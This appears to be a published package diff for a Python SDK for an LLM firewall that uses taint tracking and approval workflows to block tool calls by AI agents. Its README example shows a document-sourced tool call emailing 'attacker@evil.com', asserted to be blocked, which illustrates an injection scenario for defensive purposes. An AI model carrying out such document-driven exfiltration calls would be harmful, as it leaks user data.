aegis-firewall 2.0.0__tar.gz

aegis_firewall-2.0.0/PKG-INFO

@@ -0,0 +1,285 @@
+Metadata-Version: 2.4
+Name: aegis-firewall
+Version: 2.0.0
+Summary: Python SDK for Aegis LLM Inference Firewall
+Author-email: Aegis Team <team@aegis-firewall.dev>
+License: MIT
+Project-URL: Homepage, https://github.com/xaseai/aegis
+Project-URL: Documentation, https://aegis-firewall.dev/docs
+Project-URL: Repository, https://github.com/xaseai/aegis
+Project-URL: Issues, https://github.com/xaseai/aegis/issues
+Keywords: aegis,llm,firewall,security,ai-security,prompt-injection
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: httpx>=0.25.0
+Requires-Dist: pydantic>=2.5.0
+Requires-Dist: cbor2>=5.5.0
+Requires-Dist: cryptography>=41.0.0
+Provides-Extra: websocket
+Requires-Dist: websockets>=12.0; extra == "websocket"
+Provides-Extra: all
+Requires-Dist: websockets>=12.0; extra == "all"
+Provides-Extra: dev
+Requires-Dist: pytest>=7.4.0; extra == "dev"
+Requires-Dist: pytest-asyncio>=0.21.0; extra == "dev"
+Requires-Dist: pytest-cov>=4.1.0; extra == "dev"
+Requires-Dist: black>=23.7.0; extra == "dev"
+Requires-Dist: ruff>=0.0.285; extra == "dev"
+Requires-Dist: mypy>=1.5.0; extra == "dev"
+
+# aegis-firewall
+
+Python SDK for Aegis LLM Inference Firewall.
+
+## Installation
+
+```bash
+pip install aegis-firewall
+```
+
+## Quick Start
+
+### Synchronous Client
+
+```python
+from aegis import AegisClient, AegisFirewall
+
+# Create client
+client = AegisClient(
+    base_url="http://localhost:8080",
+    api_key="your-api-key",
+)
+
+# Create firewall wrapper
+firewall = AegisFirewall(client)
+
+# Add user message
+user_span = firewall.add_user_message("Send email to john@example.com")
+
+# Execute tool call with taint tracking
+result = firewall.safe_execute_tool_call(
+    "tool.send_email",
+    {"to": "john@example.com", "subject": "Hello"},
+    [user_span.id]
+)
+
+if result["success"]:
+    print("Tool call executed successfully")
+else:
+    print(f"Tool call failed: {result['error']}")
+```
+
+### Asynchronous Client
+
+```python
+import asyncio
+from aegis import AegisAsyncClient, AegisAsyncFirewall
+
+async def main():
+    async with AegisAsyncClient(
+        base_url="http://localhost:8080",
+        api_key="your-api-key",
+    ) as client:
+        firewall = AegisAsyncFirewall(client)
+        
+        # Add user message
+        user_span = await firewall.add_user_message("Send email")
+        
+        # Execute tool call
+        result = await firewall.safe_execute_tool_call(
+            "tool.send_email",
+            {"to": "john@example.com"},
+            [user_span.id]
+        )
+        
+        print(f"Success: {result['success']}")
+
+asyncio.run(main())
+```
+
+## Features
+
+- ✅ **Type-safe API** - Full type hints with Pydantic
+- ✅ **Async support** - Both sync and async clients
+- ✅ **Taint tracking** - Automatic span management
+- ✅ **Policy builder** - Programmatic policy creation
+- ✅ **Approval workflows** - Human-in-the-loop support
+- ✅ **Error handling** - Rich error types
+
+## API Reference
+
+### AegisClient
+
+```python
+client = AegisClient(
+    base_url="http://localhost:8080",
+    api_key="optional-api-key",
+    timeout=30.0,
+    retries=3,
+)
+```
+
+#### Methods
+
+- `validate_tool_call(tool_call)` - Validate tool call
+- `create_span(span_data)` - Create new span
+- `get_span(span_id)` - Get span by ID
+- `list_decisions(session_id=None)` - List decisions
+- `get_approval(approval_id)` - Get approval
+- `list_approvals()` - List pending approvals
+- `approve(approval_id)` - Approve request
+- `deny(approval_id, reason)` - Deny request
+- `get_trace(session_id)` - Get trace
+- `verify_trace(bundle_data)` - Verify trace
+- `health()` - Health check
+
+### AegisFirewall
+
+```python
+firewall = AegisFirewall(client)
+```
+
+#### Methods
+
+- `add_user_message(content)` - Add user message
+- `add_document(content, sensitivity=...)` - Add RAG document
+- `add_system_prompt(content)` - Add system prompt
+- `execute_tool_call(capability, args, source_span_ids)` - Execute tool call
+- `safe_execute_tool_call(...)` - Safe execution with error handling
+- `get_session_spans()` - Get all spans
+- `clear_session()` - Clear session
+
+### PolicyBuilder
+
+```python
+from aegis import PolicyBuilder, TrustLevel
+
+policy = (
+    PolicyBuilder()
+    .allow("tool.read_calendar", TrustLevel.UNTRUSTED_USER)
+    .allow("tool.send_email", TrustLevel.UNTRUSTED_USER, requires_approval=True)
+    .deny("payments.*", TrustLevel.UNTRUSTED_DOCUMENT)
+    .block_untrusted_documents()
+    .block_secret_data()
+    .require_approval_for_high_risk()
+    .auto_deny_after(30)
+    .build()
+)
+
+# Export as .aegis format
+aegis_format = PolicyBuilder().allow("tool.send_email").to_aegis_format()
+```
+
+## Examples
+
+### RAG with Document Isolation
+
+```python
+from aegis import AegisClient, AegisFirewall, SensitivityLevel
+
+client = AegisClient(base_url="http://localhost:8080")
+firewall = AegisFirewall(client)
+
+# Add user query
+user_span = firewall.add_user_message("What is our pricing?")
+
+# Add retrieved documents (automatically marked as untrusted)
+doc = firewall.add_document("Pricing: $99/month", SensitivityLevel.PUBLIC)
+
+# Tool call sourced only from documents will be BLOCKED
+result = firewall.safe_execute_tool_call(
+    "tool.send_email",
+    {"to": "attacker@evil.com"},
+    [doc.id]  # Only document source - blocked by taint tracking!
+)
+
+assert not result["success"], "Should be blocked"
+```
+
+### Approval Workflow
+
+```python
+def handle_approval(approval_id: str):
+    print(f"Waiting for approval: {approval_id}")
+    # Notify admin, poll for status, etc.
+
+result = firewall.safe_execute_tool_call(
+    "tool.execute_code",
+    {"code": "print('hello')"},
+    [user_span.id],
+    on_approval_required=handle_approval
+)
+```
+
+### Async Example
+
+```python
+import asyncio
+from aegis import AegisAsyncClient, AegisAsyncFirewall
+
+async def main():
+    async with AegisAsyncClient("http://localhost:8080") as client:
+        firewall = AegisAsyncFirewall(client)
+        
+        user_span = await firewall.add_user_message("Hello")
+        result = await firewall.execute_tool_call(
+            "tool.search_web",
+            {"query": "weather"},
+            [user_span.id]
+        )
+        
+        print(f"Allowed: {result.allowed}")
+
+asyncio.run(main())
+```
+
+## Error Handling
+
+```python
+from aegis import (
+    CapabilityBlockedError,
+    ApprovalRequiredError,
+    NetworkError,
+)
+
+try:
+    result = client.validate_tool_call(tool_call)
+except CapabilityBlockedError as e:
+    print(f"Blocked: {e.capability} - {e.reason}")
+except ApprovalRequiredError as e:
+    print(f"Approval needed: {e.approval_id}")
+    await handle_approval(e.approval_id)
+except NetworkError as e:
+    print(f"Network error: {e.status_code}")
+```
+
+## Development
+
+```bash
+# Install dev dependencies
+pip install -e ".[dev]"
+
+# Run tests
+pytest
+
+# Format code
+black aegis/
+
+# Type check
+mypy aegis/
+```
+
+## License
+
+MIT

aegis_firewall-2.0.0/README.md

@@ -0,0 +1,245 @@
+# aegis-firewall
+
+Python SDK for Aegis LLM Inference Firewall.
+
+## Installation
+
+```bash
+pip install aegis-firewall
+```
+
+## Quick Start
+
+### Synchronous Client
+
+```python
+from aegis import AegisClient, AegisFirewall
+
+# Create client
+client = AegisClient(
+    base_url="http://localhost:8080",
+    api_key="your-api-key",
+)
+
+# Create firewall wrapper
+firewall = AegisFirewall(client)
+
+# Add user message
+user_span = firewall.add_user_message("Send email to john@example.com")
+
+# Execute tool call with taint tracking
+result = firewall.safe_execute_tool_call(
+    "tool.send_email",
+    {"to": "john@example.com", "subject": "Hello"},
+    [user_span.id]
+)
+
+if result["success"]:
+    print("Tool call executed successfully")
+else:
+    print(f"Tool call failed: {result['error']}")
+```
+
+### Asynchronous Client
+
+```python
+import asyncio
+from aegis import AegisAsyncClient, AegisAsyncFirewall
+
+async def main():
+    async with AegisAsyncClient(
+        base_url="http://localhost:8080",
+        api_key="your-api-key",
+    ) as client:
+        firewall = AegisAsyncFirewall(client)
+        
+        # Add user message
+        user_span = await firewall.add_user_message("Send email")
+        
+        # Execute tool call
+        result = await firewall.safe_execute_tool_call(
+            "tool.send_email",
+            {"to": "john@example.com"},
+            [user_span.id]
+        )
+        
+        print(f"Success: {result['success']}")
+
+asyncio.run(main())
+```
+
+## Features
+
+- ✅ **Type-safe API** - Full type hints with Pydantic
+- ✅ **Async support** - Both sync and async clients
+- ✅ **Taint tracking** - Automatic span management
+- ✅ **Policy builder** - Programmatic policy creation
+- ✅ **Approval workflows** - Human-in-the-loop support
+- ✅ **Error handling** - Rich error types
+
+## API Reference
+
+### AegisClient
+
+```python
+client = AegisClient(
+    base_url="http://localhost:8080",
+    api_key="optional-api-key",
+    timeout=30.0,
+    retries=3,
+)
+```
+
+#### Methods
+
+- `validate_tool_call(tool_call)` - Validate tool call
+- `create_span(span_data)` - Create new span
+- `get_span(span_id)` - Get span by ID
+- `list_decisions(session_id=None)` - List decisions
+- `get_approval(approval_id)` - Get approval
+- `list_approvals()` - List pending approvals
+- `approve(approval_id)` - Approve request
+- `deny(approval_id, reason)` - Deny request
+- `get_trace(session_id)` - Get trace
+- `verify_trace(bundle_data)` - Verify trace
+- `health()` - Health check
+
+### AegisFirewall
+
+```python
+firewall = AegisFirewall(client)
+```
+
+#### Methods
+
+- `add_user_message(content)` - Add user message
+- `add_document(content, sensitivity=...)` - Add RAG document
+- `add_system_prompt(content)` - Add system prompt
+- `execute_tool_call(capability, args, source_span_ids)` - Execute tool call
+- `safe_execute_tool_call(...)` - Safe execution with error handling
+- `get_session_spans()` - Get all spans
+- `clear_session()` - Clear session
+
+### PolicyBuilder
+
+```python
+from aegis import PolicyBuilder, TrustLevel
+
+policy = (
+    PolicyBuilder()
+    .allow("tool.read_calendar", TrustLevel.UNTRUSTED_USER)
+    .allow("tool.send_email", TrustLevel.UNTRUSTED_USER, requires_approval=True)
+    .deny("payments.*", TrustLevel.UNTRUSTED_DOCUMENT)
+    .block_untrusted_documents()
+    .block_secret_data()
+    .require_approval_for_high_risk()
+    .auto_deny_after(30)
+    .build()
+)
+
+# Export as .aegis format
+aegis_format = PolicyBuilder().allow("tool.send_email").to_aegis_format()
+```
+
+## Examples
+
+### RAG with Document Isolation
+
+```python
+from aegis import AegisClient, AegisFirewall, SensitivityLevel
+
+client = AegisClient(base_url="http://localhost:8080")
+firewall = AegisFirewall(client)
+
+# Add user query
+user_span = firewall.add_user_message("What is our pricing?")
+
+# Add retrieved documents (automatically marked as untrusted)
+doc = firewall.add_document("Pricing: $99/month", SensitivityLevel.PUBLIC)
+
+# Tool call sourced only from documents will be BLOCKED
+result = firewall.safe_execute_tool_call(
+    "tool.send_email",
+    {"to": "attacker@evil.com"},
+    [doc.id]  # Only document source - blocked by taint tracking!
+)
+
+assert not result["success"], "Should be blocked"
+```
+
+### Approval Workflow
+
+```python
+def handle_approval(approval_id: str):
+    print(f"Waiting for approval: {approval_id}")
+    # Notify admin, poll for status, etc.
+
+result = firewall.safe_execute_tool_call(
+    "tool.execute_code",
+    {"code": "print('hello')"},
+    [user_span.id],
+    on_approval_required=handle_approval
+)
+```
+
+### Async Example
+
+```python
+import asyncio
+from aegis import AegisAsyncClient, AegisAsyncFirewall
+
+async def main():
+    async with AegisAsyncClient("http://localhost:8080") as client:
+        firewall = AegisAsyncFirewall(client)
+        
+        user_span = await firewall.add_user_message("Hello")
+        result = await firewall.execute_tool_call(
+            "tool.search_web",
+            {"query": "weather"},
+            [user_span.id]
+        )
+        
+        print(f"Allowed: {result.allowed}")
+
+asyncio.run(main())
+```
+
+## Error Handling
+
+```python
+from aegis import (
+    CapabilityBlockedError,
+    ApprovalRequiredError,
+    NetworkError,
+)
+
+try:
+    result = client.validate_tool_call(tool_call)
+except CapabilityBlockedError as e:
+    print(f"Blocked: {e.capability} - {e.reason}")
+except ApprovalRequiredError as e:
+    print(f"Approval needed: {e.approval_id}")
+    await handle_approval(e.approval_id)
+except NetworkError as e:
+    print(f"Network error: {e.status_code}")
+```
+
+## Development
+
+```bash
+# Install dev dependencies
+pip install -e ".[dev]"
+
+# Run tests
+pytest
+
+# Format code
+black aegis/
+
+# Type check
+mypy aegis/
+```
+
+## License
+
+MIT

aegis_firewall-2.0.0/aegis/__init__.py

@@ -0,0 +1,93 @@
+"""
+Aegis Python SDK - LLM Inference Firewall
+
+A comprehensive Python SDK for integrating with the Aegis LLM Inference Firewall.
+Provides both synchronous and asynchronous clients for maximum flexibility.
+
+Example:
+    >>> from aegis import AegisClient, AegisFirewall
+    >>> client = AegisClient(base_url="http://localhost:8080")
+    >>> firewall = AegisFirewall(client)
+    >>> span = firewall.add_user_message("Send email to john@example.com")
+    >>> result = firewall.safe_execute_tool_call(
+    ...     "tool.send_email",
+    ...     {"to": "john@example.com"},
+    ...     [span.id]
+    ... )
+"""
+
+__version__ = "2.0.0"
+
+from .client import AegisClient, AegisAsyncClient
+from .types import (
+    TrustLevel,
+    SensitivityLevel,
+    RiskLevel,
+    RunMode,
+    SpanSource,
+    Span,
+    Capability,
+    ToolCall,
+    ToolCallResult,
+    PolicyDecision,
+    TraceSession,
+    GatewayConfig,
+    HealthResponse,
+    ApprovalRequest,
+)
+from .errors import (
+    AegisError,
+    PolicyError,
+    CapabilityBlockedError,
+    ApprovalRequiredError,
+    TaintViolationError,
+    NetworkError,
+    TraceVerificationError,
+)
+from .policy import Policy, PolicyBuilder
+from .firewall import AegisFirewall, AegisAsyncFirewall
+
+# Advanced features
+try:
+    from .websocket import AegisWebSocket, WebSocketEvent
+    from .metrics import MetricsCollector, AegisMetrics
+    from .cache import LRUCache, ResponseCache
+except ImportError:
+    # Optional dependencies not installed
+    pass
+
+__all__ = [
+    "AegisClient",
+    "AegisAsyncClient",
+    "AegisFirewall",
+    "AegisAsyncFirewall",
+    "PolicyBuilder",
+    "Policy",
+    "TrustLevel",
+    "SensitivityLevel",
+    "RiskLevel",
+    "RunMode",
+    "SpanSource",
+    "Span",
+    "Capability",
+    "ToolCall",
+    "ToolCallResult",
+    "PolicyDecision",
+    "TraceSession",
+    "GatewayConfig",
+    "HealthResponse",
+    "ApprovalRequest",
+    "AegisError",
+    "PolicyError",
+    "CapabilityBlockedError",
+    "ApprovalRequiredError",
+    "TaintViolationError",
+    "NetworkError",
+    "TraceVerificationError",
+    "AegisWebSocket",
+    "WebSocketEvent",
+    "MetricsCollector",
+    "AegisMetrics",
+    "LRUCache",
+    "ResponseCache",
+]